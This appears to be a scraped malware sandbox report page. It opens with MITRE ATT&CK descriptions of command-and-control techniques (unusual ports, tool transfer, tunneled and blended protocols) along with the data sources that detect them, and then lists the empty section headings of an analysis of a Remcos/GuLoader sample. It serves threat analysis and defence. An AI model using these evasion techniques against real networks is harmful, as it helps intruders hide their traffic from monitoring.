Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Windows Analysis Report 8TEZmAEx3U.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Remcos

Threatname: GuLoader

Yara Overview

Memory Dumps

Sigma Overview

Jbx Signature Overview

AV Detection:

Cryptography:

Compliance:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets